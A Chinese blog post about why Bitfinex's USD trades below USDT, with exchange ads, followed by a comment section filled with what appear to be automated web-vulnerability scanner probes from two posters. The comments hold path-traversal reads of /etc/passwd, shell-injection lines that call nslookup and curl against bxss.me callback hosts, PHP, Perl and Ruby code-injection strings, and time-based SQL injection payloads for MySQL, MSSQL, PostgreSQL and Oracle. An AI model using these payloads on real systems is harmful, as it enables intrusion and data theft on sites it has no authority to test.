Bitfinex交易所上″真美元″USD为何比假美元USDT还便宜很多?

BitMEX 100倍杠杆永续合约,注册BitMex请使用日本IP:比特币量化交易交流群:191896494  BitMEX/OKEX量化机器人  

JEX 全球领先的期权交易所

bitfinex一直以来都是麻烦不断,如2016年黑客攻击窃取了bitfinex大约价值6500万美元的比特币,2018年10月即传出USDT空气币,并没有美元支撑,导致USDT大幅跳水,近期bitfinex又被美国方面冻结了8.5亿美元,导致USDT出现8.5亿美元的缺口,此次冻结实践并未引起USDT的大幅贬值,反而导致了bitfinex上USD的大幅贬值,笔者分析了这其中的主要逻辑:虽然USD交易对在bitfinex上号称是真美元,然而并不能提现,且近期冻结的8.5亿美元导致bitfinex存在无法兑现USD的风险,即bitfinex上的USD可能仅是一个符号而已,因此持有USD玩家必然将USD买入BTC从而推高了USD的价格,而一直在风口浪尖的USDT反而价格比USD还贵呢?这可能需要从全市场来分析了,USDT虽然是一个中心化的数字货币,但是与美元1:1的兑换已经深入人心,大部分交易所都有USDT的交易对,目前虽然bitfinex可能暴雷,但实际并不是所有人都知道该消息,因此除了bitfinex上玩家之外的其他交易者还是按照1:1的价值给USDT定价,当然如果bitfinex确实出现问题,那么USDT崩盘也是不可避免的,因此建议投资者还是选在非USDT交易对避险为好。总之一句话,bitfinex上的USD无法流通,如果暴雷必然一文不值,USDT是全市场流通,或许还有一点炒作价值。

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  admin   2019-5-2

ZMskyuza2023-10-3 3:19:29
/../../../../../../../../../../windows/system32/BITSADMIN.exe
ZMskyuza2023-10-3 3:19:40
response.write(9082153*9004108)
ZMskyuza2023-10-3 3:19:47
'+response.write(9082153*9004108)+'
ZMskyuza2023-10-3 3:19:55
bcc:009247.40789-37728.40789.cd2b2.19632.2@bxss.me
ZMskyuza2023-10-3 3:19:55
12345'"\'\");|]*{ <>�''
ZMskyuza2023-10-3 3:20:04
"+response.write(9082153*9004108)+"
ZMskyuza2023-10-3 3:20:06
../../../../../../../../../../../../../../etc/passwd
ZMskyuza2023-10-3 3:20:07
to@example.com> bcc:009247.40789-37729.40789.cd2b2.19632.2@bxss.me
ZMskyuza2023-10-3 3:20:09
../../../../../../../../../../../../../../windows/win.ini
ZMskyuza2023-10-3 3:20:14
'.gethostbyname(lc('hitan'.'hlkyqblrd0093.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(66).chr(100).chr(82).'
ZMskyuza2023-10-3 3:20:15
!(()&&!|*|*|
ZMskyuza2023-10-3 3:20:16
file:///etc/passwd
ZMskyuza2023-10-3 3:20:17
".gethostbyname(lc("hitwu"."nzmjcjdi1088d.bxss.me."))."A".chr(67).chr(hex("58")).chr(122).chr(76).chr(105).chr(73)."
ZMskyuza2023-10-3 3:20:19
^(#$!@#$)(()))******
ZMskyuza2023-10-3 3:20:22
echo vlddpl$()\ jocmwr\nz^xyu||a #' &echo vlddpl$()\ jocmwr\nz^xyu||a #|" &echo vlddpl$()\ jocmwr\nz^xyu||a #
ZMskyuza2023-10-3 3:20:23
&echo tohgxx$()\ nrskvk\nz^xyu||a #' &echo tohgxx$()\ nrskvk\nz^xyu||a #|" &echo tohgxx$()\ nrskvk\nz^xyu||a #
ZMskyuza2023-10-3 3:20:25
../
ZMskyuza2023-10-3 3:20:28
"+"A".concat(70-3).concat(22*4).concat(121).concat(71).concat(105).concat(87)+(require"socket" Socket.gethostbyname("hitct"+"pfqftbisf486b.bxss.me.")[3].to_s)+"
ZMskyuza2023-10-3 3:20:30
|echo mlbjcv$()\ thevar\nz^xyu||a #' |echo mlbjcv$()\ thevar\nz^xyu||a #|" |echo mlbjcv$()\ thevar\nz^xyu||a #
ZMskyuza2023-10-3 3:20:30
'+'A'.concat(70-3).concat(22*4).concat(111).concat(79).concat(108).concat(68)+(require'socket' Socket.gethostbyname('hitkk'+'asgpvxmd8d166.bxss.me.')[3].to_s)+'
ZMskyuza2023-10-3 3:20:31
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
ZMskyuza2023-10-3 3:20:34
(nslookup -q=cname hitulkacqviluac7d1.bxss.me||curl hitulkacqviluac7d1.bxss.me))
ZMskyuza2023-10-3 3:20:38
$(nslookup -q=cname hitrcifznlqbu41147.bxss.me||curl hitrcifznlqbu41147.bxss.me)
ZMskyuza2023-10-3 3:20:39
220
ZMskyuza2023-10-3 3:20:39
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
ZMskyuza2023-10-3 3:20:40
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
ZMskyuza2023-10-3 3:20:42
Http://bxss.me/t/fit.txt
ZMskyuza2023-10-3 3:20:43
&nslookup -q=cname hitysxeainwxyd8763.bxss.me&'\"`0&nslookup -q=cname hitysxeainwxyd8763.bxss.me&`'
ZMskyuza2023-10-3 3:20:43
220
ZMskyuza2023-10-3 3:20:44
http://bxss.me/t/fit.txt?.jpg
ZMskyuza2023-10-3 3:20:47
220/.
ZMskyuza2023-10-3 3:20:47
';print(md5(31337));$a='
ZMskyuza2023-10-3 3:20:48
&(nslookup -q=cname hitcyckbvvbxg98e65.bxss.me||curl hitcyckbvvbxg98e65.bxss.me)&'\"`0&(nslookup -q=cname hitcyckbvvbxg98e65.bxss.me||curl hitcyckbvvbxg98e65.bxss.me)&`'
ZMskyuza2023-10-3 3:20:49
";print(md5(31337));$a="
ZMskyuza2023-10-3 3:20:50
/etc/shells
ZMskyuza2023-10-3 3:20:50
|(nslookup -q=cname hitquifwzubet58221.bxss.me||curl hitquifwzubet58221.bxss.me)
ZMskyuza2023-10-3 3:20:52
c:/windows/win.ini
ZMskyuza2023-10-3 3:20:53
`(nslookup -q=cname hitxexpuoikcc35518.bxss.me||curl hitxexpuoikcc35518.bxss.me)`
ZMskyuza2023-10-3 3:20:55
${@print(md5(31337))}
ZMskyuza2023-10-3 3:20:57
${@print(md5(31337))}\
ZMskyuza2023-10-3 3:20:57
bxss.me
ZMskyuza2023-10-3 3:20:59
'"()
ZMskyuza2023-10-3 3:21:00
'.print(md5(31337)).'
ZMskyuza2023-10-3 3:21:01
'&&sleep(27*1000)*dbqsbz&&'
ZMskyuza2023-10-3 3:21:03
"&&sleep(27*1000)*uuemjr&&"
ZMskyuza2023-10-3 3:21:05
'||sleep(27*1000)*aixshw||'
ZMskyuza2023-10-3 3:21:06
"||sleep(27*1000)*csnrju||"
ZMskyuza2023-10-3 3:45:06
CkJ3XTg5
ZMskyuza2023-10-3 3:45:23
-1 OR 2+177-177-1=0+0+0+1
ZMskyuza2023-10-3 3:45:26
-1 OR 3+177-177-1=0+0+0+1
ZMskyuza2023-10-3 3:45:28
-1 OR 3*2<(0+5+177-177)
ZMskyuza2023-10-3 3:45:39
-1 OR 3*2>(0+5+177-177)
ZMskyuza2023-10-3 3:46:57
if(now()=sysdate(),sleep(15),0)
ZMskyuza2023-10-3 3:49:18
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
ZMskyuza2023-10-3 3:51:31
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
ZMskyuza2023-10-3 3:54:06
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
ZMskyuza2023-10-3 3:56:20
-1; waitfor delay '0:0:15' --
ZMskyuza2023-10-3 3:58:47
-1); waitfor delay '0:0:15' --
ZMskyuza2023-10-3 4:01:46
-1)); waitfor delay '0:0:15' --
ZMskyuza2023-10-3 4:05:00
1 waitfor delay '0:0:15' --
ZMskyuza2023-10-3 4:08:03
mZe3HXqg'; waitfor delay '0:0:15' --
ZMskyuza2023-10-3 4:10:54
DOhvcaHa'); waitfor delay '0:0:15' --
ZMskyuza2023-10-3 4:13:40
fyGyT7nP')); waitfor delay '0:0:15' --
ZMskyuza2023-10-3 4:16:24
-5 OR 628=(SELECT 628 FROM PG_SLEEP(15))--
ZMskyuza2023-10-3 4:18:19
-5) OR 763=(SELECT 763 FROM PG_SLEEP(15))--
ZMskyuza2023-10-3 4:20:04
-1)) OR 793=(SELECT 793 FROM PG_SLEEP(15))--
ZMskyuza2023-10-3 4:21:41
Pi0KxbUx' OR 149=(SELECT 149 FROM PG_SLEEP(15))--
ZMskyuza2023-10-3 4:23:17
JjYlmYQV') OR 458=(SELECT 458 FROM PG_SLEEP(15))--
ZMskyuza2023-10-3 4:24:45
FuysSFOs')) OR 422=(SELECT 422 FROM PG_SLEEP(15))--
ZMskyuza2023-10-3 4:26:14
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
ZMskyuza2023-10-3 4:27:45
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
ZMskyuza2023-10-3 4:28:00
1'"
ZMskyuza2023-10-3 4:28:02
1����%2527%2522
ZMskyuza2023-10-3 4:28:05
@@OWPjM
tGhYxqFm2023-10-19 14:15:20
response.write(9182984*9721195)
tGhYxqFm2023-10-19 14:15:22
/../../../../../../../../../../windows/system32/BITSADMIN.exe
tGhYxqFm2023-10-19 14:15:23
'+response.write(9182984*9721195)+'
tGhYxqFm2023-10-19 14:15:25
"+response.write(9182984*9721195)+"
tGhYxqFm2023-10-19 14:15:25
bcc:009247.160276-35112.160276.4d8b5.19649.2@bxss.me
tGhYxqFm2023-10-19 14:15:26
to@example.com> bcc:009247.160276-35113.160276.4d8b5.19649.2@bxss.me
tGhYxqFm2023-10-19 14:15:28
${9999559+9999951}
tGhYxqFm2023-10-19 14:15:28
12345'"\'\");|]*{ <>�''
tGhYxqFm2023-10-19 14:15:29
../../../../../../../../../../../../../../etc/passwd
tGhYxqFm2023-10-19 14:15:29
echo fcssnm$()\ qwdwya\nz^xyu||a #' &echo fcssnm$()\ qwdwya\nz^xyu||a #|" &echo fcssnm$()\ qwdwya\nz^xyu||a #
tGhYxqFm2023-10-19 14:15:30
../../../../../../../../../../../../../../windows/win.ini
tGhYxqFm2023-10-19 14:15:32
file:///etc/passwd
tGhYxqFm2023-10-19 14:15:34
&echo bhqtpu$()\ oirwkw\nz^xyu||a #' &echo bhqtpu$()\ oirwkw\nz^xyu||a #|" &echo bhqtpu$()\ oirwkw\nz^xyu||a #
tGhYxqFm2023-10-19 14:15:35
!(()&&!|*|*|
tGhYxqFm2023-10-19 14:15:35
|echo vckzgt$()\ djabir\nz^xyu||a #' |echo vckzgt$()\ djabir\nz^xyu||a #|" |echo vckzgt$()\ djabir\nz^xyu||a #
tGhYxqFm2023-10-19 14:15:35
../
tGhYxqFm2023-10-19 14:15:36
^(#$!@#$)(()))******
tGhYxqFm2023-10-19 14:15:36
(nslookup -q=cname hitykqkwdibjo1c716.bxss.me||curl hitykqkwdibjo1c716.bxss.me))
tGhYxqFm2023-10-19 14:15:37
ctime sleep p0 (I30 tp1 Rp2 .
tGhYxqFm2023-10-19 14:15:38
'.gethostbyname(lc('hitbr'.'kvsypsqh42cd7.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(99).chr(80).chr(117).chr(71).'
tGhYxqFm2023-10-19 14:15:39
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
tGhYxqFm2023-10-19 14:15:40
".gethostbyname(lc("hitph"."zjiwfidl45390.bxss.me."))."A".chr(67).chr(hex("58")).chr(99).chr(83).chr(119).chr(72)."
tGhYxqFm2023-10-19 14:15:40
$(nslookup -q=cname hitkannlugmvhf6241.bxss.me||curl hitkannlugmvhf6241.bxss.me)
tGhYxqFm2023-10-19 14:15:41
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
tGhYxqFm2023-10-19 14:15:41
&nslookup -q=cname hitewminyihaabfd24.bxss.me&'\"`0&nslookup -q=cname hitewminyihaabfd24.bxss.me&`'
tGhYxqFm2023-10-19 14:15:43
HttP://bxss.me/t/xss.html?%00
tGhYxqFm2023-10-19 14:15:43
Http://bxss.me/t/fit.txt
tGhYxqFm2023-10-19 14:15:43
&(nslookup -q=cname hitgtprmqetyw990ea.bxss.me||curl hitgtprmqetyw990ea.bxss.me)&'\"`0&(nslookup -q=cname hitgtprmqetyw990ea.bxss.me||curl hitgtprmqetyw990ea.bxss.me)&`'
tGhYxqFm2023-10-19 14:15:43
"+"A".concat(70-3).concat(22*4).concat(105).concat(89).concat(111).concat(87)+(require"socket" Socket.gethostbyname("hitjw"+"liartospacd2c.bxss.me.")[3].to_s)+"
tGhYxqFm2023-10-19 14:15:45
bxss.me/t/xss.html?%00
tGhYxqFm2023-10-19 14:15:45
http://bxss.me/t/fit.txt?.jpg
tGhYxqFm2023-10-19 14:15:45
'+'A'.concat(70-3).concat(22*4).concat(108).concat(86).concat(99).concat(73)+(require'socket' Socket.gethostbyname('hitcu'+'krpurvqjf002f.bxss.me.')[3].to_s)+'
tGhYxqFm2023-10-19 14:15:46
|(nslookup -q=cname hitlsgtexdoio37d3c.bxss.me||curl hitlsgtexdoio37d3c.bxss.me)
tGhYxqFm2023-10-19 14:15:46
/etc/shells
tGhYxqFm2023-10-19 14:15:48
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
tGhYxqFm2023-10-19 14:15:48
c:/windows/win.ini
tGhYxqFm2023-10-19 14:15:49
`(nslookup -q=cname hitrhlmynbhjyf18df.bxss.me||curl hitrhlmynbhjyf18df.bxss.me)`
tGhYxqFm2023-10-19 14:15:51
';print(md5(31337));$a='
tGhYxqFm2023-10-19 14:15:52
bxss.me
tGhYxqFm2023-10-19 14:15:52
220
tGhYxqFm2023-10-19 14:15:53
";print(md5(31337));$a="
tGhYxqFm2023-10-19 14:15:53
220
tGhYxqFm2023-10-19 14:15:56
'"()
tGhYxqFm2023-10-19 14:15:56
220/.
tGhYxqFm2023-10-19 14:15:56
${@print(md5(31337))}
tGhYxqFm2023-10-19 14:15:57
'&&sleep(27*1000)*emeqpg&&'
tGhYxqFm2023-10-19 14:16:00
${@print(md5(31337))}\
tGhYxqFm2023-10-19 14:16:00
"&&sleep(27*1000)*qjguiv&&"
tGhYxqFm2023-10-19 14:16:02
'||sleep(27*1000)*nqlyxh||'
tGhYxqFm2023-10-19 14:16:03
"||sleep(27*1000)*njluzf||"
tGhYxqFm2023-10-19 14:16:04
'.print(md5(31337)).'
tGhYxqFm2023-10-19 14:32:11
KxBajcF4
tGhYxqFm2023-10-19 14:32:15
-1 OR 2+505-505-1=0+0+0+1
tGhYxqFm2023-10-19 14:32:18
-1 OR 3+505-505-1=0+0+0+1
tGhYxqFm2023-10-19 14:32:20
-1 OR 3*2<(0+5+505-505)
tGhYxqFm2023-10-19 14:32:24
-1 OR 3*2>(0+5+505-505)
tGhYxqFm2023-10-19 14:33:11
if(now()=sysdate(),sleep(15),0)
tGhYxqFm2023-10-19 14:34:15
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
tGhYxqFm2023-10-19 14:35:04
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
tGhYxqFm2023-10-19 14:35:52
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
tGhYxqFm2023-10-19 14:36:35
-1; waitfor delay '0:0:15' --
tGhYxqFm2023-10-19 14:37:16
-1); waitfor delay '0:0:15' --
tGhYxqFm2023-10-19 14:37:59
-1)); waitfor delay '0:0:15' --
tGhYxqFm2023-10-19 14:38:48
1 waitfor delay '0:0:15' --
tGhYxqFm2023-10-19 14:39:31
RM5h5xwt'; waitfor delay '0:0:15' --
tGhYxqFm2023-10-19 14:40:21
bAK4n978'); waitfor delay '0:0:15' --
tGhYxqFm2023-10-19 14:41:13
b5TaWKjO')); waitfor delay '0:0:15' --
tGhYxqFm2023-10-19 14:42:02
-5 OR 401=(SELECT 401 FROM PG_SLEEP(15))--
tGhYxqFm2023-10-19 14:43:03
-5) OR 258=(SELECT 258 FROM PG_SLEEP(15))--
tGhYxqFm2023-10-19 14:44:15
-1)) OR 980=(SELECT 980 FROM PG_SLEEP(15))--
tGhYxqFm2023-10-19 14:45:25
L0HbhuU7' OR 484=(SELECT 484 FROM PG_SLEEP(15))--
tGhYxqFm2023-10-19 14:46:37
kbWER2Kj') OR 848=(SELECT 848 FROM PG_SLEEP(15))--
tGhYxqFm2023-10-19 14:48:03
pps0dRmy')) OR 724=(SELECT 724 FROM PG_SLEEP(15))--
tGhYxqFm2023-10-19 14:49:05
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
tGhYxqFm2023-10-19 14:50:12
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
tGhYxqFm2023-10-19 14:50:16
1'"
tGhYxqFm2023-10-19 14:50:22
1����%2527%2522
tGhYxqFm2023-10-19 14:50:30
@@mBRXG
Remark: